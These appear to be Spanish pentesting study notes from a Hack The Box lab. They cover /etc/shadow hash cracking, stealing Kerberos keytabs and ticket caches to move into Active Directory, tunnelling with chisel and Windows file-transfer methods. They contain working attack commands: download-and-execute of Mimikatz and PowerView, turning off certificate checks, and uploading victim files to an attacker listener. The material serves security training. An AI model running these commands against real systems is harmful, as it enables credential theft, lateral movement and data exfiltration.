, pero solo guarda la info de contraseñas y su gestión.
Este archivo contiene los hashes de todas las contraseñas de los usuarios. Si un usuario aparece en /etc/passwd
pero no tiene entrada en /etc/shadow
, se considera inválido.
Además, solo puede ser leído por usuarios con permisos de administrador.
cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::
Nombre de usuario → cry0l1t3
Contraseña cifrada (hash) → empieza con $6$
(sha512)
Fecha del último cambio de contraseña (en días desde 1970)
Edad mínima de la contraseña (días para poder cambiarla)
Edad máxima de la contraseña (días antes de caducar)
Periodo de aviso (días antes de caducar que se avisa al user)
Periodo de inactividad (días después de caducar sin login)
Fecha de expiración de la cuenta
Campo no usado (vacío)
[cry0l1t3@parrot]─[~]$ sudo cat /etc/shadow
root:*:18747:0:99999:7:::
sys:!:18747:0:99999:7:::
...SNIP...
cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::
En el campo de contraseña del archivo /etc/shadow
, si vemos un carácter como !
o *
, significa que el usuario no puede iniciar sesión con contraseña Unix. Pero sí puede autenticarse con otros métodos como Kerberos o claves SSH.
Si el campo está vacío, no se pedirá contraseña para hacer login, aunque eso puede hacer que ciertos programas le bloqueen funciones.
Los hashes tienen esta estructura:
$<type>$<salt>$<hash>
Con esto, podemos identificar el algoritmo usado:
$1$
MD5
$2a$
Blowfish
$2y$
Eksblowfish
$5$
SHA-256
$6$
SHA-512
En las distros modernas de Linux se usa por defecto SHA-512 ($6$
).
En sistemas antiguos aún podemos encontrarnos con MD5, Blowfish, o SHA-256, y ahí es donde es más fácil poder crackear.
El módulo pam_unix.so
de la biblioteca PAM permite restringir la reutilización de contraseñas anteriores. Para ello, almacena los hashes de contraseñas previamente utilizadas en el archivo:
/etc/security/opasswd
Este archivo es accesible únicamente por el usuario root, a menos que se hayan modificado sus permisos manualmente.
Reading /etc/security/opasswd
gzzcoo@htb[/htb]$ sudo cat /etc/security/opasswd
cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1
Al observar el contenido de este archivo, podemos ver que contiene varias entradas para el usuario cry0l1t3
, separadas por comas (,). Otro aspecto crítico a tener en cuenta es el tipo de algoritmo de hash utilizado. En este caso, el algoritmo MD5 ($1$
) es considerablemente más fácil de romper que SHA-512.
Esto es especialmente relevante para identificar contraseñas antiguas e incluso posibles patrones, ya que es común que las contraseñas se reutilicen en distintos servicios o aplicaciones. Detectar estos patrones aumenta significativamente la probabilidad de adivinar la contraseña actual.
Una vez que hayamos recopilado algunos hashes, podemos intentar descifrarlos de diferentes maneras para obtener las contraseñas en texto sin cifrar.
gzzcoo@htb[/htb]$ sudo cp /etc/passwd /tmp/passwd.bak
gzzcoo@htb[/htb]$ sudo cp /etc/shadow /tmp/shadow.bak
gzzcoo@htb[/htb]$ unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
gzzcoo@htb[/htb]$ hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
gzzcoo@htb[/htb]$ cat md5-hashes.list
qNDkF0zJ3v8ylCOrKB0kt0
E9uMSmiQeRh4pAAgzuvkq1
gzzcoo@htb[/htb]$ hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
Durante una auditoría, muchas veces tenemos acceso a información sensible como listas de usuarios, credenciales (por ejemplo, al descargar el archivo NTDS.dit para crackeo offline), datos de enumeración que revelan detalles clave de la infraestructura de red o del entorno de Active Directory, entre otros. Por eso, es fundamental cifrar esa información o usar conexiones seguras como SSH, SFTP o HTTPS siempre que sea posible.
Sin embargo, a veces no tenemos acceso a esos canales cifrados y toca buscar otra forma de proteger los datos. En esos casos, cifrar los archivos antes de transferirlos es una buena práctica para evitar que puedan ser leídos si son interceptados.
OpenSSL se incluye frecuentemente en distribuciones de Linux, y los administradores de sistemas lo utilizan para generar certificados de seguridad, entre otras tareas. OpenSSL permite enviar archivos al estilo "nc" para cifrarlos.
Para cifrar un archivo con openssl, podemos seleccionar diferentes cifrados; consulte la página del manual de OpenSSL. Usemos -aes256 como ejemplo. También podemos anular el número de iteraciones predeterminado con la opción -iter 100000 y añadir la opción -pbkdf2 para usar el algoritmo de la Función de Password-Based Key Derivation Function 2. Al pulsar Intro, necesitaremos proporcionar una contraseña.
gzzcoo@htb[/htb]$ openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
Recuerde usar una contraseña segura y única para evitar ataques de fuerza bruta si alguien no autorizado obtiene el archivo. Para descifrarlo, podemos usar el siguiente comando:
gzzcoo@htb[/htb]$ openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
enter aes-256-cbc decryption password:
Podemos usar cualquiera de los métodos anteriores para transferir este archivo, pero se recomienda usar un método de transporte seguro como HTTPS, SFTP o SSH.
gzzcoo@htb[/htb]$ ssh david@inlanefreight.htb@10.129.204.23 -p 2222
david@inlanefreight.htb@10.129.204.23's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 11 Oct 2022 09:30:58 AM UTC
System load: 0.09 Processes: 227
Usage of /: 38.1% of 13.70GB Users logged in: 2
Memory usage: 32% IPv4 address for ens160: 172.16.1.15
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
12 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
New release '22.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Tue Oct 11 09:30:46 2022 from 172.16.1.5
david@inlanefreight.htb@linux01:~$
david@inlanefreight.htb@linux01:~$ realm list
inlanefreight.htb
type: kerberos
realm-name: INLANEFREIGHT.HTB
domain-name: inlanefreight.htb
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
required-package: libnss-sss
required-package: libpam-sss
required-package: adcli
required-package: samba-common-bin
login-formats: %U@inlanefreight.htb
login-policy: allow-permitted-logins
permitted-logins: david@inlanefreight.htb, julio@inlanefreight.htb
permitted-groups: Linux Admins
david@inlanefreight.htb@linux01:~$ ps -ef | grep -i "winbind\|sssd"
root 2140 1 0 Sep29 ? 00:00:01 /usr/sbin/sssd -i --logger=files
root 2141 2140 0 Sep29 ? 00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root 2142 2140 0 Sep29 ? 00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root 2143 2140 0 Sep29 ? 00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files
david@inlanefreight.htb@linux01:~$ find / -name *keytab* -ls 2>/dev/null
<SNIP>
131610 4 -rw------- 1 root root 1348 Oct 4 16:26 /etc/krb5.keytab
262169 4 -rw-rw-rw- 1 root root 216 Oct 12 15:13 /opt/specialfiles/carlos.keytab
carlos@inlanefreight.htb@linux01:~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
#
<SNIP>
#
# m h dom mon dow command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
carlos@inlanefreight.htb@linux01:~$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
#!/bin/bash
kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls' -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txt
david@inlanefreight.htb@linux01:~$ env | grep -i krb5
KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2Pfh
david@inlanefreight.htb@linux01:~$ ls -la /tmp
total 68
drwxrwxrwt 13 root root 4096 Oct 6 16:38 .
drwxr-xr-x 20 root root 4096 Oct 6 2021 ..
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 6 16:38 krb5cc_647401106_tBswau
-rw------- 1 david@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 6 15:23 krb5cc_647401107_Gf415d
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct 6 15:43 krb5cc_647402606_qd2Pfh
david@inlanefreight.htb@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB
david@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:02:11 10/07/22 03:02:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/07/22 17:02:11
david@inlanefreight.htb@linux01:~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
david@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:16:11 10/07/22 03:16:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/07/22 17:16:11
david@inlanefreight.htb@linux01:~$ smbclient //dc01/carlos -k -c ls
. D 0 Thu Oct 6 14:46:26 2022
.. D 0 Thu Oct 6 14:46:26 2022
carlos.txt A 15 Thu Oct 6 14:46:54 2022
7706623 blocks of size 4096. 4452852 blocks available
david@inlanefreight.htb@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : INLANEFREIGHT.HTB
SERVICE PRINCIPAL : carlos/
NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4
david@inlanefreight.htb@linux01:~$ su - carlos@inlanefreight.htb
Password:
carlos@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647402606_ZX6KFA
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 11:01:13 10/07/2022 21:01:13 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 11:01:13
gzzcoo@htb[/htb]$ ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
svc_workstations@inlanefreight.htb@10.129.204.23's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...SNIP...
svc_workstations@inlanefreight.htb@linux01:~$ sudo -l
[sudo] password for svc_workstations@inlanefreight.htb:
Matching Defaults entries for svc_workstations@inlanefreight.htb on linux01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User svc_workstations@inlanefreight.htb may run the following commands on linux01:
(ALL) ALL
svc_workstations@inlanefreight.htb@linux01:~$ sudo su
root@linux01:/home/svc_workstations@inlanefreight.htb# whoami
root
root@linux01:~# ls -la /tmp
total 76
drwxrwxrwt 13 root root 4096 Oct 7 11:35 .
drwxr-xr-x 20 root root 4096 Oct 6 2021 ..
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 11:35 krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 11:35 krb5cc_647401106_qMKxc6
-rw------- 1 david@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 10:43 krb5cc_647401107_O0oUWh
-rw------- 1 svc_workstations@inlanefreight.htb domain users@inlanefreight.htb 1535 Oct 7 11:21 krb5cc_647401109_D7gVZF
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 7 11:35 krb5cc_647402606
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct 7 11:01 krb5cc_647402606_ZX6KFA
root@linux01:~# id julio@inlanefreight.htb
uid=647401106(julio@inlanefreight.htb) gid=647400513(domain users@inlanefreight.htb) groups=647400513(domain users@inlanefreight.htb),647400512(domain admins@inlanefreight.htb),647400572(denied rodc password replication group@inlanefreight.htb)
root@linux01:~# klist
klist: No credentials cache found (filename: /tmp/krb5cc_0)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 13:25:01 10/07/2022 23:25:01 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 13:25:01
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
$Recycle.Bin DHS 0 Wed Oct 6 17:31:14 2021
Config.Msi DHS 0 Wed Oct 6 14:26:27 2021
Documents and Settings DHSrn 0 Wed Oct 6 20:38:04 2021
john D 0 Mon Jul 18 13:19:50 2022
julio D 0 Mon Jul 18 13:54:02 2022
pagefile.sys AHS 738197504 Thu Oct 6 21:32:44 2022
PerfLogs D 0 Fri Feb 25 16:20:48 2022
Program Files DR 0 Wed Oct 6 20:50:50 2021
Program Files (x86) D 0 Mon Jul 18 16:00:35 2022
ProgramData DHn 0 Fri Aug 19 12:18:42 2022
SharedFolder D 0 Thu Oct 6 14:46:20 2022
System Volume Information DHS 0 Wed Jul 13 19:01:52 2022
tools D 0 Thu Sep 22 18:19:04 2022
Users DR 0 Thu Oct 6 11:46:05 2022
Windows D 0 Wed Oct 5 13:20:00 2022
7706623 blocks of size 4096. 4447612 blocks available
gzzcoo@htb[/htb]$ cat /etc/hosts
# Host addresses
172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb ms01
gzzcoo@htb[/htb]$ cat /etc/proxychains.conf
<SNIP>
[ProxyList]
socks5 127.0.0.1 1080
gzzcoo@htb[/htb]$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzzcoo@htb[/htb]$ gzip -d chisel_1.7.7_linux_amd64.gz
gzzcoo@htb[/htb]$ mv chisel_* chisel && chmod +x ./chisel
gzzcoo@htb[/htb]$ sudo ./chisel server --reverse
2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080
gzzcoo@htb[/htb]$ xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolution
C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks
2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)
gzzcoo@htb[/htb]$ export KRB5CCNAME=$(pwd)/krb5cc_647401106_I8I133
gzzcoo@htb[/htb]$ proxychains impacket-wmiexec dc01 -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... INLANEFREIGHT.HTB:88 ... OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... INLANEFREIGHT.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:50713 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... INLANEFREIGHT.HTB:88 ... OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julio
evil-winrm -i dc.dominio.htb -r dominio.htb
sudo apt install ntpdate -y
sudo ntpdate -s 10.10.10.10
impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10
impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10
export KRB5CCNAME=$(pwd)/user.ccache
sudo apt install krb5-user
klist
sudo apt install krb5-config -y
sudo nano /etc/krb5.conf
[libdefaults]
default_realm = DOMINIO.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = 10.10.10.10
admin_server = 10.10.10.10
}
[domain_realm]
.dominio.htb = DOMINIO.HTB
dominio.htb = DOMINIO.HTB
gzzcoo@htb[/htb]$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] converting ccache to kirbi...
[+] done
C:\htb> C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.2
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\htb> klist
Current LogonId is 0:0x31adf02
Cached Tickets: (1)
#0> Client: julio @ INLANEFREIGHT.HTB
Server: krbtgt/INLANEFREIGHT.HTB @ INLANEFREIGHT.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0xa1c20000 -> reserved forwarded invalid renewable initial 0x20000
Start Time: 10/10/2022 5:46:02 (local)
End Time: 10/10/2022 15:46:02 (local)
Renew Time: 10/11/2022 5:46:02 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
C:\htb>dir \\dc01\julio
Volume in drive \\dc01\julio has no label.
Volume Serial Number is B8B3-0D72
Directory of \\dc01\julio
07/14/2022 07:25 AM <DIR> .
07/14/2022 07:25 AM <DIR> ..
07/14/2022 04:18 PM 17 julio.txt
1 File(s) 17 bytes
2 Dir(s) 18,161,782,784 bytes free
gzzcoo@htb[/htb]$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
gzzcoo@htb[/htb]$ /opt/linikatz.sh
_ _ _ _ _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_ /
| | | | | | | < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|
=[ @timb_machine ]=
I: [freeipa-check] FreeIPA AD configuration
-rw-r--r-- 1 root root 959 Mar 4 2020 /etc/pki/fwupd/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 2169 Mar 4 2020 /etc/pki/fwupd/GPG-KEY-Linux-Foundation-Firmware
-rw-r--r-- 1 root root 1702 Mar 4 2020 /etc/pki/fwupd/GPG-KEY-Hughski-Limited
-rw-r--r-- 1 root root 1679 Mar 4 2020 /etc/pki/fwupd/LVFS-CA.pem
-rw-r--r-- 1 root root 2169 Mar 4 2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Foundation-Metadata
-rw-r--r-- 1 root root 959 Mar 4 2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 1679 Mar 4 2020 /etc/pki/fwupd-metadata/LVFS-CA.pem
I: [sss-check] SSS AD configuration
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/timestamps_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct 7 12:17 /var/lib/sss/db/config.ldb
-rw------- 1 root root 4154 Oct 10 19:48 /var/lib/sss/db/ccache_INLANEFREIGHT.HTB
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/cache_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct 4 16:26 /var/lib/sss/db/sssd.ldb
-rw-rw-r-- 1 root root 10406312 Oct 10 19:54 /var/lib/sss/mc/initgroups
-rw-rw-r-- 1 root root 6406312 Oct 10 19:55 /var/lib/sss/mc/group
-rw-rw-r-- 1 root root 8406312 Oct 10 19:53 /var/lib/sss/mc/passwd
-rw-r--r-- 1 root root 113 Oct 7 12:17 /var/lib/sss/pubconf/krb5.include.d/localauth_plugin
-rw-r--r-- 1 root root 40 Oct 7 12:17 /var/lib/sss/pubconf/krb5.include.d/krb5_libdefaults
-rw-r--r-- 1 root root 15 Oct 7 12:17 /var/lib/sss/pubconf/krb5.include.d/domain_realm_inlanefreight_htb
-rw-r--r-- 1 root root 12 Oct 10 19:55 /var/lib/sss/pubconf/kdcinfo.INLANEFREIGHT.HTB
-rw------- 1 root root 504 Oct 6 11:16 /etc/sssd/sssd.conf
I: [vintella-check] VAS AD configuration
I: [pbis-check] PBIS AD configuration
I: [samba-check] Samba configuration
-rw-r--r-- 1 root root 8942 Oct 4 16:25 /etc/samba/smb.conf
-rw-r--r-- 1 root root 8 Jul 18 12:52 /etc/samba/gdbcommands
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct 7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct 4 16:26 /etc/krb5.keytab
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606
I: [samba-check] Samba machine secrets
I: [samba-check] Samba hashes
I: [check] Cached hashes
I: [sss-check] SSS hashes
I: [check] Machine Kerberos tickets
I: [sss-check] SSS ticket list
Ticket cache: FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
Default principal: LINUX01$@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/10/2022 19:48:03 10/11/2022 05:48:03 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/11/2022 19:48:03, Flags: RIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 11:32:01 10/07/2022 21:32:01 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 11:32:01, Flags: FPRIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
Ticket cache: FILE:/tmp/krb5cc_647401106_R9a9hG
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/10/2022 19:55:02 10/11/2022 05:55:02 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/11/2022 19:55:02, Flags: FPRIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
Ticket cache: FILE:/tmp/krb5cc_647402606
Default principal: svc_workstations@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/10/2022 19:55:02 10/11/2022 05:55:02 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/11/2022 19:55:02, Flags: FPRIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
I: [check] KCM Kerberos tickets
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
PS C:\htb> whoami
htb\administrator
PS C:\htb> hostname
DC01
PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True
PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01
PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
# Ejemplo DownloadFile:(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Ejemplo DownloadFileAsync: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con IWR (Invoke-WebRequest)
IWR -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
Invoke-WebRequest -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
# Desde Kali codificamos en Base64 el archivo que queremos transferir
cat archivo.txt | base64 -w 0; echo
# Desde PowerShell (Víctima), decodificamos el contenido y lo almacenamos en una ruta
[IO.File]::WriteAllBytes("C:\Users\Public\archivo.txt", [Convert]::FromBase64String("<BASE64_CODE>"))
powershell -c "[IO.File]::WriteAllBytes('C:\Users\Public\archivo.txt', [Convert]::FromBase64String('<BASE64_CODE>'))"
PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\htb> IWR -Uri http://<ATTACKER_IP>PowerView.ps1 -UseBasicParsing | IEX
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"
[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))
# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin
sudo pip3 install uploadserver --break-system-packages
❯ sudo pip3 install uploadserver --break-system-packages
❯ python3 -m uploadserver
╭╴at ~\Desktop
╰─ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
╭╴at ~\Desktop
╰─ Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.134.128:8000/ -Method POST -Body $b64
❯ nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.134.128] from (UNKNOWN) [192.168.134.1] 52051
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) WindowsPowerShell/5.1.26100.2161
Content-Type: application/x-www-form-urlencoded
Host: 192.168.134.128:8000
Content-Length: 1100
Connection: Keep-Alive
